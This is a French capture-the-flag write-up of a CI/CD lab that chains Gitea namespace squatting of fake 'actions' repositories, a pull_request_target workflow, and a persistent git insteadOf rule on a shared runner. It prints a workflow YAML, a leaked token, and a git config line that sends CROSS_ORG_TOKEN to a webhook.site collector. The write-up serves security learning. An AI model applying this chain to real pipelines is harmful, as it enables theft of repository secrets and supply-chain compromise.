Writeup

PipeHop

Sur cette instance Gitea, tout le monde peut s'inscrire. Un squat du namespace actions, un workflow en pull_request_target, et un runner partagé qui garde la mémoire entre les jobs suffisent à enchaîner jusqu'au dépôt caché.

Platform: Hack'In 2K26
Focus: CI/CD abuse
Date: 2026-04-11

URL du lab (indicatif, l'instance peut être éteinte) : http://34.155.191.36:32783

Énoncé

DevForge Inc. just open-sourced their flagship project on their self-hosted Git platform. Their CI/CD pipeline is fully automated and state of the art, or so they claim. Sometimes the walls between public and private aren't as solid as they seem.

Traduction libre : tout est automatisé, sauf la frontière public / privé, qui finit par couler un peu partout.

Reconnaissance

En farfouillant les dépôts publics, deux noms reviennent tout de suite : opendev/webapp et opendev/ci-actions. Dans ci-actions, un workflow tourne en pull_request_target, récupère le secret CROSS_ORG_TOKEN, et clone à la fois opendev/webapp et secureops/infrastructure. Ce dernier est privé : c'est clairement là que le challenge veut qu'on aille.

Extrait : opendev/ci-actions

name: Sync Dependents

on:
  pull_request_target:
    types: [opened, synchronize]
  push:
    branches: [main]

jobs:
  sync:
    runs-on: ubuntu-latest

    steps:
      - name: Trigger dependent builds
        env:
          DISPATCH_TOKEN: ${{ secrets.CROSS_ORG_TOKEN }}
        run: |
          REPOS=(
            "opendev/webapp"
            "secureops/infrastructure"
          )

          for repo in "${REPOS[@]}"; do
            git clone "http://ci-bot:${DISPATCH_TOKEN}@localhost/${repo}.git" "$WORKDIR"
            # ...
          done

Résolution locale des actions

Les logs des runs publics m'ont fait tiquer : le runner ne va pas chercher GitHub, il résout actions/checkout@v4 et actions/setup-node@v4 en local, vers http://localhost/actions/.... Tant que l'inscription est ouverte, rien n'empêche de créer un utilisateur / org actions et de publier ses propres dépôts checkout et setup-node.

Résultat

git clone 'http://localhost/actions/checkout' # ref=v4
Unable to clone http://localhost/actions/checkout refs/heads/v4: repository not found

Chaîne d'exploitation

Voici comment j'ai enchaîné, en gros. Ce n'est pas linéaire sur le moment, mais une fois le schéma en tête ça tient debout.

  1. Je crée le compte actions et les dépôts actions/checkout et actions/setup-node avec une branche v4 (le faux setup-node peut rester minimal).
  2. Le faux checkout fait le vrai travail : cloner avec le token injecté, exfiltrer ce qui m'intéresse, et surtout laisser une config Git globale sur le runner pour l'étape suivante.
  3. Plutôt que de me battre avec les PR fork sur webapp (approbation manuelle), je fork opendev/ci-actions et j'ouvre une PR : pull_request_target s'exécute avec les secrets du dépôt cible, pas avec ceux de mon fork.
  4. Le job sync-dependents pousse sur webapp et infrastructure, ce qui déclenche les workflows push de webapp… qui passent par mes faux actions/*.

Résultat

GITHUB_REPOSITORY=opendev/webapp
GITHUB_ACTOR=devforge-admin
INPUT_TOKEN=b5d8f9acc3fdf3ebd7f12b33e2030ee0f92939d2

Pivot : Git insteadOf sur runner partagé

Le token récupéré côté webapp ne m'ouvre pas directement secureops/infrastructure. Le vrai pivot, c'est le runner partagé : la config Git globale posée pendant un run public survit aux jobs suivants. J'ajoute une règle du type url."https://…".insteadOf "http://ci-bot:": au prochain git clone du job sync-dependents, Git réécrit l'URL vers mon collecteur HTTP, et le token CROSS_ORG_TOKEN se retrouve en clair dans la requête.

Règle Git globale (schéma)

git config --global url."https://webhook.site/<TOKEN>/".insteadOf "http://ci-bot:"

Résultat

https://webhook.site/<collector>/<CROSS_ORG_TOKEN>@localhost/secureops/infrastructure.git/HEAD

Une fois le bon token en poche, je clone secureops/infrastructure et je vais lire config/production.env. Le flag est au bout du fichier (voir le bloc masqué plus bas).

Clone (schéma)

git clone "http://x-access-token:<TOKEN>@34.155.191.36:32783/secureops/infrastructure.git"

Résultat

config/production.env
config/staging.env
config/development.env
scripts/deploy.sh
.gitea/workflows/deploy.yml

config/production.env (sans la valeur du flag)

# Deployment verification token
FLAG=(voir bloc de dévoilement ci-dessous)

Flag

Résultat

••••••••••••••••••••••••••••••••Cliquer pour afficher

Ce que j'en retiens

  • Un namespace actions libre + résolution locale, ça transforme des workflows banals en exécution de code de n'importe qui.
  • pull_request_target depuis un fork sur ci-actions, c'est le déclencheur qui voit les bons secrets.
  • Les faux checkout / setup-node donnent la main sur l'environnement du job public.
  • Runner partagé qui persiste : une fois une règle Git globale posée, le prochain pipeline privé peut me livrer CROSS_ORG_TOKEN sur un plateau.
  • Fin de parcours : dépôt secureops/infrastructure, production.env, flag.